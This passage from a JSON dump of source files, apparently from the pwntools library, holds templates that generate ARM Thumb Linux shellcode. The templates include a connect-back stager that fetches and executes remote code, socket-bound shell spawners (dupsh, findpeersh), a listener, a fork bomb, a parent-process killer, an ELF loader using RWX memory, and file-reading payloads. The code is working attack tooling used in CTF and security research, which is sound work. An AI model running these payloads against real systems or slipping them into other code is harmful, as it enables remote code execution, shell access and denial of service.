    "path": "pwnlib/shellcraft/templates/thumb/linux/cat2.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import thumb\n  from pwnlib.shellcraft import common\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG\\n')\n    >>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat2(f)).recvline()\n    b'FLAG\\n'\n\n</%docstring>\n\n    ${thumb.pushstr(filename)}\n    ${thumb.linux.open('sp', constants.O_RDONLY, length)}\n    sub sp, r2\n    ${thumb.linux.read('r0', 'sp', 'r2')}\n    ${thumb.linux.write(fd, 'sp', 'r0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/connect.asm",
    "content": "<%\n from pwnlib.shellcraft.thumb import push, mov, pushstr\n from pwnlib.shellcraft.thumb.linux import syscall\n from pwnlib.constants import SOCK_STREAM, SYS_socket, SYS_connect\n from pwnlib.util.net import sockaddr\n%>\n<%page args=\"host, port, network='ipv4'\"/>\n<%docstring>\n    Connects to the host on the specified port.\n    Network is either 'ipv4' or 'ipv6'.\n    Leaves the connected socket in R6.\n</%docstring>\n<%\n    sockaddr, addr_len, address_family = sockaddr(host, port, network)\n%>\\\n/* open new socket */\n    ${syscall(SYS_socket, address_family, SOCK_STREAM, 0)}\n\n/* save opened socket */\n    ${mov('r6', 'r0')}\n\n/* push sockaddr, connect() */\n    ${pushstr(sockaddr, False)}\n    ${syscall(SYS_connect, 'r6', 'sp', addr_len)}\n\n/* Socket that is maybe connected is in r6 */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/connectstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.thumb import linux %>\n<%docstring>\nconnect recvsize stager\nArgs:\n    host, where to connect to\n    port, which port to connect to\n    network, ipv4 or ipv6? (default: ipv4)\n</%docstring>\n<%page args=\"host, port, network = 'ipv4'\"/>\n\n${linux.connect(host, port, network)}\n${linux.recvsize('r6', 'r1')}\n${linux.stager('r6', 'r1')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.thumb import mov %>\n<%page args=\"sock = 'r6'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = r6]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n  looplabel = common.label(\"loop\")\n%>\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n        ${mov('r1', 2)}\n        ${mov('r7', 'SYS_dup2')}\n\n${looplabel}:\n        ${mov('r0', sock)}\n        svc 1\n        subs r1, #1\n        bpl ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft.thumb import linux %>\n<%page args=\"sock = 'r6'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = r6]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import thumb %>\n<%page args=\"string, sock = '1'\"/>\n<%docstring>\nWrites a string to a file descriptor\n\nExample:\n\n    >>> run_assembly(shellcraft.echo('hello\\n', 1)).recvline()\n    b'hello\\n'\n\n</%docstring>\n\n${thumb.pushstr(string, append_null = False)}\n${thumb.linux.syscall('SYS_write', sock, 'sp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/findpeer.asm",
    "content": "<% from pwnlib.shellcraft.thumb import mov %>\n<% from socket import htons %>\n<%page args=\"port = None\"/>\n<%docstring>\n    findpeer(port)\n\n    Finds a connected socket. If port is specified it is checked\n    against the peer port. Resulting socket is left in r6.\n\n    Example:\n\n        >>> enhex(asm(shellcraft.findpeer(1337)))\n        '6ff00006ee4606f101064ff001074fea072707f11f07f54630461fb401a96a4601df0130efdd01994fea11414ff039024fea022202f105029142e4d1'\n</%docstring>\nfindpeer:\n    /* File descriptor in r6 */\n    /* Inside the loop we begin by incrementing it */\n    /* so initially we want it to be -1 */\n    ${mov('r6', -1)}\n    /* Let us restore stack easily */\n    mov lr, sp\n\nnext_socket:\n    /* Next file descriptor */\n    add r6, #1\n\n    ${mov('r7', 'SYS_getpeername')}\n\n    /* Reset stack */\n    mov sp, lr\n\n    /* First argument is file descriptor */\n    mov r0, r6\n\n    /* Make room on stack - inet addr structure is 16 bytes and size of addr is four bytes */\n    /* First four bytes will be the size of the address, the remaining 16 bytes will be */\n    /* the address structure */\n    push {r0, r1, r2, r3, r4}\n\n    /* Second argument is pointer to where to store inet addr */\n    add r1, sp, #4\n\n    /* Third argument is pointer to size */\n    mov r2, sp\n\n    /* Now issue system call */\n    svc 1\n\n    /* If the syscall returned negative this was a bad socket */\n    /* so move on to the next one */\n    adds r0, #1\n    ble next_socket\n%if not port is None:\n\ncompare_port:\n    /* Read the port into r1 */\n    ldr r1, [sp, #4]\n    lsr r1, #16\n\n    /* Put the port (${port}) to search for into r2 */\n    ${mov('r2', htons(int(port)))}\n\n    /* Is it the one we have been searching for? */\n    cmp r1, r2\n    \n    /* If not try the next one */\n    bne next_socket\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/findpeersh.asm",
    "content": "<% from pwnlib.shellcraft.thumb.linux import findpeer, dupsh %>\n<%page args=\"port = None\"/>\n<%docstring>\n    findpeersh(port)\n\n    Finds a connected socket. If port is specified it is checked\n    against the peer port. A dup2 shell is spawned on it.\n</%docstring>\n${findpeer(port)}\n${dupsh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/findpeerstager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.thumb import linux %>\n<%docstring>\nFindpeer recvsize stager\nArgs:\n    port, the port given to findpeer (defaults to any)\n</%docstring>\n<%page args=\"port = None\"/>\n\n${linux.findpeer(port)}\n${linux.recvsize('r6', 'r1')}\n${linux.stager('r6', 'r1')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/forkbomb.asm",
    "content": "<%\n    from pwnlib.shellcraft.thumb.linux import fork\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nPerforms a forkbomb attack.\n</%docstring>\n<%\n    dosloop = label('fork_bomb')\n%>\n${dosloop}:\n    ${fork()}\n    b ${dosloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/forkexit.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.thumb.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    cmp r0, 1\n    blt ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.thumb.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('r0')}\n    cmp r0,r0\n    beq ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/listen.asm",
    "content": "<% from pwnlib.shellcraft.thumb import mov %>\n<% from socket import htons %>\n<%page args=\"port, network='ipv4'\"/>\n<%docstring>\n    listen(port,network)\n\n    Listens on a TCP port, accept a client and leave his socket in r6.\n    Port is the TCP port to listen on, network is either 'ipv4' or 'ipv6'.\n\n    Example:\n\n        >>> enhex(asm(shellcraft.listen(1337, 'ipv4')))\n        '4ff001074fea072707f119074ff002004ff0010182ea020201df0646004901e00200053906b469464ff0100207f1010701df30464ff0010107f1020701df304681ea010182ea020207f1010701df0646'\n</%docstring>\n    /* First create listening socket */\n    ${mov('r7', 'SYS_socket')}\n%if network == 'ipv4':\n    ${mov('r0', 'AF_INET')}\n%else:\n    ${mov('r0', 'AF_INET6')}\n%endif\n    ${mov('r1', 'SOCK_STREAM')}\n    eor r2, r2\n    svc 1\n\n    /* Save socket in r6 */\n    mov r6, r0\n\n%if network == 'ipv4':\n    /* Build sockaddr_in structure */\n    /* r2 is zero == INADDR_ANY */\n    /* Put port and address family into r1 */\n    ${mov('r1', 'AF_INET | (%d << 16)' % htons(port))}\n    push {r1, r2}\n\n    /* Address of sockaddr_in into r1 */\n    mov r1, sp\n\n    /* sizeof(sockaddr_in) into r2 */\n    mov r2, #16\n\n    /* Socket already in r0 */\n    /* r7 is 281 = SYS_socket, add one and it is 282 = SYS_bind */\n    add r7, #1\n    svc 1\n%else:\n    /* Build sockaddr_in6 structure */\n    /* r2 is already zero */\n    eor r1, r1\n    eor r3, r3\n    push {r1, r2, r3}\n    push {r1, r2, r3}\n    \n    /* Then port = %d */\n    ${mov('r1', 'AF_INET6 | (%d << 16)' % htons(port))}\n    push {r1, r2, r3}\n\n    /* Address of sockaddr_in6 into r1 */\n    mov r1, sp\n\n    /* sizeof(sockaddr_in6) into r2 */\n    mov r2, #28\n\n    /* Socket already in r0 */\n    /* r7 is 281 = SYS_socket, add one and it is 282 = SYS_bind */\n    add r7, #1\n    svc 1\n%endif\n\n    /* Server socket from r6 into r0 */\n    mov r0, r6\n\n    /* Backlog */\n    mov r1, #1\n\n    /* r7 = SYS_listen = 284 */\n    /* r7 is already = 282 so just add two */\n    add r7, #2\n    svc 1\n\n    /* Server socket from r6 into r0 */\n    mov r0, r6\n\n    /* Other args are null */\n    eor r1, r1\n    eor r2, r2\n\n    /* r7 = SYS_accept = 285 */\n    /* r7 is already = 284 so just add one */\n    add r7, #1\n    svc 1\n\n    /* Move accepted socket to r6 */\n    mov r6, r0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/loader.asm",
    "content": "<%\n    from pwnlib.shellcraft.thumb.linux import exit as exit\n    from pwnlib.shellcraft.thumb.linux import mmap\n    from pwnlib.shellcraft.thumb import setregs, mov, push, memcpy\n\n    from pwnlib.shellcraft import common\n    from pwnlib.util.packing import unpack\n%>\n<%page args=\"address\"/>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nArguments:\n    address(int): Address of the ELF as a register or integer.\n</%docstring>\n<%\nelf_magic = unpack(b'\\x7fELF')\ndie       = common.label('die')\nload_one  = common.label('load_one')\nnext_phdr = common.label('next_phdr')\n\"\"\"\nElf32_Ehdr\n    +0x0000 e_ident              : unsigned char [16]\n    +0x0010 e_type               : Elf32_Half\n    +0x0012 e_machine            : Elf32_Half\n    +0x0014 e_version            : Elf32_Word\n    +0x0018 e_entry              : Elf32_Addr\n    +0x001c e_phoff              : Elf32_Off\n    +0x0020 e_shoff              : Elf32_Off\n    +0x0024 e_flags              : Elf32_Word\n    +0x0028 e_ehsize             : Elf32_Half\n    +0x002a e_phentsize          : Elf32_Half\n    +0x002c e_phnum              : Elf32_Half\n    +0x002e e_shentsize          : Elf32_Half\n    +0x0030 e_shnum              : Elf32_Half\n    +0x0032 e_shstrndx           : Elf32_Half\n\nElf32_Phdr\n    +0x0000 p_type               : Elf32_Word\n    +0x0004 p_offset             : Elf32_Off\n    +0x0008 p_vaddr              : Elf32_Addr\n    +0x000c p_paddr              : Elf32_Addr\n    +0x0010 p_filesz             : Elf32_Word\n    +0x0014 p_memsz              : Elf32_Word\n    +0x0018 p_flags              : Elf32_Word\n    +0x001c p_align              : Elf32_Word\n\"\"\"\ne_entry  = 0x0018\ne_phoff  = 0x001c\ne_phnum  = 0x002c\ne_phentsize = 0x002a\np_type   = 0x0000\np_offset = 0x0004\np_vaddr  = 0x0008\np_filesz = 0x0010\np_memsz  = 0x0014\n\n\nPT_LOAD  = 1\n%>\n\n    ${setregs({'r0': address})}\n\n    /* Check the ELF header */\n    ldr  r1,  [r0]\n    ${mov('r2', elf_magic)}\n    cmp  r1, r2\n    bne  ${die}\n\n    /* Discover program headers */\n    add r1, r0, #${e_phoff}\n    ldr r1, [r1]\n    add r1, r0 /* r1 = &program headers */\n\n    add r2, r0, #${e_phentsize}\n    ldrh r2, [r2] /* r2 = program header size */\n\n    add r3, r0, #${e_phnum}\n    ldrh r3, [r3] /* r3 = number of program headers */\n\n1:\n    /* For each section header, mmap it to the desired address */\n    push {r0, r1, r2, r3}\n    bl   ${load_one}\n    pop  {r0, r1, r2, r3}\n    add  r1, r2\n    subs r3, #1\n    bne 1b\n\n    /* Everything is loaded and RWX.  Find the entry point and call it */\n    add r1, r0, #${e_entry}\n    ldr r1, [r1]\n    mov lr, r1\n\n    /* Set up the fake stack.\n       For whatever reason, ARM binaries really want AT_RANDOM\n       to be available. */\n    /* AT_NULL */\n    eor r0, r0\n    eor r1, r1\n    push {r0, r1}\n    /* AT_RANDOM */\n    mov r0, #25\n    mov r1, sp\n    push {r0, r1}\n\n    /* argc, argv, envp */\n    eor r0, r0\n    eor r1, r1\n    eor r2, r2\n    push {r0, r1, r2}\n\n    /* Invoke the entry point */\n    push {lr}\n    pop  {pc}\n\n${load_one}:\n    /* r1 = &program headers */\n    push {fp, lr}\n    mov fp, sp\n\n    /* If it's not a PT_LOAD header, don't care */\n    add r2, r1, #${p_type}\n    ldr r2, [r2]\n    uxth r2, r2 /* zero-extend halfword */\n    cmp r2, #${PT_LOAD}\n    bne ${next_phdr}\n\n    /* Get the destination address into r2 */\n    add r2, r1, ${p_vaddr}\n    ldr r2, [r2]\n\n    /* Get the size to mmap into r3 */\n    add r3, r1, #${p_memsz}\n    ldr r3, [r3]\n    lsr r3, #12\n    add r3, r3, #1\n\n    /* We can't move the program break with brk(),\n       so we basically have to fake it.  Allocate\n       more space than we ever expect the heap to\n       need, by over-allocating space by 8x */\n    lsl r3, #12 + 4\n\n    /* Map the page in */\n    push {r0-r12}\n    lsr r2, #12\n    lsl r2, #12\n    ${mmap('r2', 'r3', 'PROT_READ|PROT_WRITE|PROT_EXEC', 'MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED', 0, 0)}\n    /* Ignore failure */\n    pop {r0-r12}\n\n    /* Get the source address into r4 */\n    add r4, r1, #${p_offset}\n    ldr r4, [r4]\n    add r4, r0\n\n    /* Get the number of bytes into r5 */\n    add r5, r1, #${p_filesz}\n    ldr r5, [r5]\n\n    /* Copy the data */\n    push {r0-r4}\n    ${memcpy('r2','r4','r5')}\n    pop  {r0-r4}\n\n${next_phdr}:\n    mov sp, fp\n    pop {fp, lr}\n    bx lr\n\n${die}:\n    ${exit(1)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/loader_append.asm",
    "content": "<%\n    from pwnlib.shellcraft.thumb.linux import loader\n    from pwnlib.shellcraft import common\n%>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nSimilar to loader.asm but loads an appended ELF.\n\nArguments:\n    data(str): If a valid filename, the data is loaded from the named file.\n               Otherwise, this is treated as raw ELF data to append.\n               If ``None``, it is ignored.\n\nExample:\n\nThe following doctest is commented out because it doesn't work on Travis\nfor reasons I cannot diagnose.  However, it should work just fine :-)\n\n    >>> payload = shellcraft.echo(b'Hello, world!\\n') + shellcraft.exit(0)\n    >>> payloadELF = ELF.from_assembly(payload)\n    >>> payloadELF.arch\n    'arm'\n    >>> loader = shellcraft.loader_append(payloadELF.data)\n    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)\n    >>> loaderELF.process().recvall()\n    b'Hello, world!\\n'\n\n\n</%docstring>\n<%page args=\"data = None\"/>\n<%\nthere = common.label('there')\nhere  = common.label('here')\n%>\n    add r0, pc, #0+(${there} - ${here})\n${here}:\n    ${loader('r0')}\n${there}:\n%if data:\n<%\nimport os\n\nif b'\\x00' not in data and os.path.isfile(data):\n    with open(data, 'rb') as f:\n        data = f.read()\n%>\n    ${'.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))}\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/readfile.asm",
    "content": "<% \n    from pwnlib.shellcraft import thumb\n    from pwnlib.util.net import sockaddr\n%>\n<%page args=\"path, dst = 'r6'\"/>\n<%docstring>\nArgs: [path, dst (imm/reg) = r6 ]\n    Opens the specified file path and sends its content to the specified file descriptor.\n    Leaves the destination file descriptor in r6 and the input file descriptor in r5.\n</%docstring>\n    /* Save dst fd for later */\n    ${thumb.mov('r6', dst)}\n\n    ${thumb.pushstr(path)}\n\n    ${thumb.syscall('SYS_open', 'sp', 'O_RDONLY')}\n\n    /* Save src fd for later */\n    ${thumb.mov('r5', 'r0')}\n\n    /* Allocate room for struct stat */\n    sub sp, sp, #88\n\n    ${thumb.syscall('SYS_fstat64', 'r0', 'sp')}\n\n    /* Load file size into r3 */\n    ldr r3, [sp, #48]\n\n    ${thumb.syscall('SYS_sendfile', 'r6', 'r5', 0, 'r3')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/readn.asm",
    "content": "<%\n    from pwnlib.shellcraft.thumb.linux import read\n    from pwnlib.shellcraft.thumb import setregs\n    from pwnlib.shellcraft import common\n%>\n<%page args=\"fd, buf, nbytes\"/>\n<%docstring>\nReads exactly nbytes bytes from file descriptor fd into the buffer buf.\n\nArguments:\n    fd(int): fd\n    buf(void): buf\n    nbytes(size_t): nbytes\n</%docstring>\n<%\nreadn_loop = common.label('readn_loop')\n%>\n    ${setregs({'r3': buf, 'r4': nbytes})}\n${readn_loop}:\n    ${read(fd, 'r3', 'r4')}\n    add r3, r3, r0\n    subs r4, r4, r0\n    bne ${readn_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/recvsize.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.thumb import linux %>\n<%docstring>\nRecives 4 bytes size field\nUseful in conjuncion with findpeer and stager\nArgs:\n    sock, the socket to read the payload from.\n    reg, the place to put the size (default ecx).\nLeaves socket in ebx\n</%docstring>\n<%page args=\"sock, reg='r1'\"/>\n<%\n    recvsize = common.label(\"recvsize\")\n%>\n${recvsize}:\n    ${linux.syscall('SYS_read', sock, 'sp', 4)}\n    pop {${reg}}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.thumb import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = 'r0' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/sh.asm",
    "content": "<% from pwnlib.shellcraft import thumb %>\n<%docstring>\nExecute a different process.\n\n    >>> p = run_assembly(shellcraft.thumb.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n${thumb.linux.execve('/bin///sh', ['sh'], 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/stage.asm",
    "content": "<%\nfrom pwnlib.shellcraft.thumb import push\nfrom pwnlib.shellcraft.thumb.linux import read, readn, mmap\nfrom pwnlib import constants as C\n%>\n<%page args=\"fd=0, length=None\"/>\n<%docstring>\nMigrates shellcode to a new buffer.\n\nArguments:\n    fd(int):\n        Integer file descriptor to recv data from.\n        Default is stdin (0).\n    length(int):\n        Optional buffer length.  If None, the first pointer-width\n        of data received is the length.\n\nExample:\n\n    >>> p = run_assembly(shellcraft.stage())\n    >>> sc = asm(shellcraft.echo(\"Hello\\n\", constants.STDOUT_FILENO))\n    >>> p.pack(len(sc))\n    >>> p.send(sc)\n    >>> p.recvline()\n    b'Hello\\n'\n</%docstring>\n<%\n    protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC\n    flags      = C.MAP_ANONYMOUS | C.MAP_PRIVATE\n\n    assert isinstance(fd, int)\n%>\n%if length is None:\n    /* How many bytes should we receive? */\n    ${read(fd, 'sp', 4)}\n    pop {r2}\n    push {r2} /* Save exact size */\n%else:\n    ${push(length)}\n%endif\n\n    /* Page-align, assume <4GB */\n    lsr r2, #12\n    add r2, r2, #1\n    lsl r2, #12\n\n    /* Map it */\n    ${mmap(0, 'r2', protection, flags, 0, 0)}\n\n    /* Grab the saved size, save the address */\n    pop  {r3}\n\n    /* We need to jump to thumb code, so it must be odd */\n    push {r0}\n\n    /* Read in all of the data */\n    ${readn(fd, 'r0', 'r3')}\n\n    /* Go to shellcode */\n    pop {r2}\n    add r2, r2, #1\n    bx  r2\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/stager.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft import thumb, arm %>\n<%docstring>\n    stager(sock, size)\n\n    Read 'size' bytes from 'sock' and place them in an executable buffer and jump to it.\n    The socket will be left in r6.\n</%docstring>\n<%page args=\"sock, size\"/>\n<%\n    stager = common.label(\"stager\")\n    looplabel = common.label(\"read_loop\")\n%>\n${stager}:\n    /* Save socket */\n    ${thumb.mov('r6', sock)}\n\n    ${thumb.syscall('SYS_mmap2', 0, size, 'PROT_EXEC | PROT_WRITE | PROT_READ', 'MAP_ANONYMOUS | MAP_PRIVATE', 0xffffffff, 0)}\n\n    /* Move size to loop counter */\n    ${thumb.mov('r2', 'r1')}\n\n    /* Save allocated memory address */\n    ${thumb.mov('r8', 'r0')}\n    ${thumb.mov('r1', 'r0')}\n\n${looplabel}:\n    ${thumb.syscall('SYS_read', 'r6', 'r1', 'r2')}\n\n    /* Update remaining count and write-address */\n    add r1, r1, r0\n    subs r2, r2, r0\n\n    /* Anything left to read */\n    bne ${looplabel}\n\n    /* call next stage with sock as an argument*/\n    ${thumb.mov('r0', 'r6')}\n    bx r8\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import thumb, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_arm_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None, arg6 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n    >>> print(shellcraft.thumb.linux.syscall(11, 1, 'sp', 2, 0).rstrip())\n        /* call syscall(0xb, 1, 'sp', 2, 0) */\n        mov r0, #1\n        mov r1, sp\n        mov r2, #2\n        eor r3, r3\n        mov r7, #0xb\n        svc 0x41\n    >>> print(shellcraft.thumb.linux.syscall('SYS_exit', 0).rstrip())\n        /* call exit(0) */\n        eor r0, r0\n        mov r7, #SYS_exit /* 1 */\n        svc 0x41\n    >>> print(pwnlib.shellcraft.open('/home/pwn/flag').rstrip()) #doctest: +ELLIPSIS\n        /* open(file='/home/pwn/flag', oflag=0, mode=0) */\n        /* push b'/home/pwn/flag\\x00' */\n        mov r7, #(0x6761 >> 8)\n        lsl r7, #8\n        add r7, #(0x6761 & 0xff)\n        push {r7}\n        ldr r7, value_...\n        b value_..._after\n    value_...: .word 0x6c662f6e\n    value_..._after:\n        push {r7}\n        ldr r7, value_...\n        b value_..._after\n    value_...: .word 0x77702f65\n    value_..._after:\n        push {r7}\n        ldr r7, value_...\n        b value_..._after\n    value_...: .word 0x6d6f682f\n    value_..._after:\n        push {r7}\n        mov r0, sp\n        eor r1, r1\n        eor r2, r2\n        /* call open() */\n        mov r7, #SYS_open /* 5 */\n        svc 0x41\n\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(arguments):\n    ${thumb.setregs(regctx)}\n%endif\n    svc 0x41\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/memcpy.asm",
    "content": "<% from pwnlib.shellcraft import thumb, pretty, common %>\n<%docstring>Copies memory.\n\nArgs:\n    dest: Destination address\n    src: Source address\n    n: Number of bytes\n</%docstring>\n<%page args=\"dest, src, n\"/>\n<%\nmemcpy_loop = common.label(\"memcpy_loop\")\n%>\n    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */\n    ${thumb.setregs({'r4': dest, 'r1': src, 'r2': n})}\n${memcpy_loop}:\n    ldrb r3, [r1], #1\n    strb r3, [r4], #1\n    subs r2, r2, #1\n    bgt ${memcpy_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/thumb/mov.asm",
    "content": "<%\n  from pwnlib.shellcraft import eval, common, pretty, okay, registers\n  from pwnlib.log import getLogger\n  from pwnlib.util import fiddling\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n%>\n<%page args=\"dst, src\"/>\n<%docstring>\n    mov(dst, src)\n\n    Returns THUMB code for moving the specified source value\n    into the specified destination register.\n\n    If src is a string that is not a register, then it will locally set\n    `context.arch` to `'thumb'` and use :func:`pwnlib.constants.eval` to evaluate the\n    string. Note that this means that this shellcode can change behavior depending\n    on the value of `context.os`.\n\nExample:\n\n    >>> print(shellcraft.thumb.mov('r1','r2').rstrip())\n        mov r1, r2\n    >>> print(shellcraft.thumb.mov('r1', 0).rstrip())\n        eor r1, r1\n    >>> print(shellcraft.thumb.mov('r1', 10).rstrip())\n        mov r1, #0xa + 1\n        sub r1, r1, 1\n    >>> print(shellcraft.thumb.mov('r1', 17).rstrip())\n        mov r1, #0x11\n    >>> print(shellcraft.thumb.mov('r1', 'r1').rstrip())\n        /* moving r1 into r1, but this is a no-op */\n    >>> print(shellcraft.thumb.mov('r1', 512).rstrip())\n        mov r1, #0x200\n    >>> print(shellcraft.thumb.mov('r1', 0x10000001).rstrip())\n        mov r1, #(0x10000001 >> 28)\n        lsl r1, #28\n        add r1, #(0x10000001 & 0xff)\n    >>> print(shellcraft.thumb.mov('r1', 0xdead0000).rstrip())\n        mov r1, #(0xdead0000 >> 25)\n        lsl r1, #(25 - 16)\n        add r1, #((0xdead0000 >> 16) & 0xff)\n        lsl r1, #16\n    >>> print(shellcraft.thumb.mov('r1', 0xdead00ff).rstrip())\n        ldr r1, value_...\n        b value_..._after\n    value_...: .word 0xdead00ff\n    value_..._after:\n    >>> with context.local(os = 'linux'):\n    ...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())\n        mov r1, #SYS_execve /* 0xb */\n    >>> with context.local(os = 'freebsd'):\n    ...     print(shellcraft.thumb.mov('r1', 'SYS_execve').rstrip())\n        mov r1, #SYS_execve /* 0x3b */\n    >>> with context.local(os = 'linux'):\n    ...     print(shellcraft.thumb.mov('r1', 'PROT_READ | PROT_WRITE | PROT_EXEC').rstrip())\n        mov r1, #(PROT_READ | PROT_WRITE | PROT_EXEC) /* 7 */\n\n</%docstring>\n<%\nlog = getLogger(__name__)\nsrc_orig = src\nif isinstance(src, (bytes, str)):\n    src = src.strip()\n    if src.lower() in registers.arm:\n        src = src.lower()\n    else:\n        with ctx.local(arch = 'thumb'):\n            try:\n                src = eval(src)\n            except (AttributeError, ValueError):\n                log.error(\"Could not figure out the value of %r\" % src)\n                return\n\n# ARM has a mov-const-with-shift\n# As long as the const fits in 8 bits, everything works out :)\ndef get_imm8_shift_ok(v):\n    v_bits = fiddling.bits(v)\n    retval = 0\n\n    if v == 0:\n        return 1\n\n    trailing_zeroes = v_bits[::-1].index(1)\n    leading_zeroes  = v_bits.index(1)\n    width           = len(v_bits) - leading_zeroes - trailing_zeroes\n\n    if width > 8:\n      return 0\n\n    retval = v >> trailing_zeroes\n\n    if width > 8 \\\n    or not okay(retval, bits=8) \\\n    or (width == 8 and 0 != (trailing_zeroes % 2)):\n        return 0\n\n    return retval\n\npositive_imm8_shift = False\nnegative_imm8_shift = False\nsrcn                = None\nif not src in registers.arm:\n    src = eval(src)\n    srcu = src & 0xffffffff\n    srcn = fiddling.negate(src + 1)\n    positive_imm8_shift = get_imm8_shift_ok(srcu)\n    negative_imm8_shift = get_imm8_shift_ok(srcn)\n\n%>\n% if dst == src:\n  /* moving ${src} into ${dst}, but this is a no-op */\n% elif not isinstance(src, int):\n    mov ${dst}, ${src}\n% else:\n  <%\n    srcu = src & 0xffffffff\n    srcs = srcu - 2 * (srcu & 0x80000000)\n  %>\\\n  %if srcu == 0:\n    eor ${dst}, ${dst}\n  %elif srcu == 10:\n    mov ${dst}, #${pretty(src)} + 1\n    sub ${dst}, ${dst}, 1\n  %elif srcs == -10:\n    mov ${dst}, #${pretty(src)} + 1\n    sub ${dst}, ${dst}, 1\n  %elif positive_imm8_shift and srcu != 10:\n    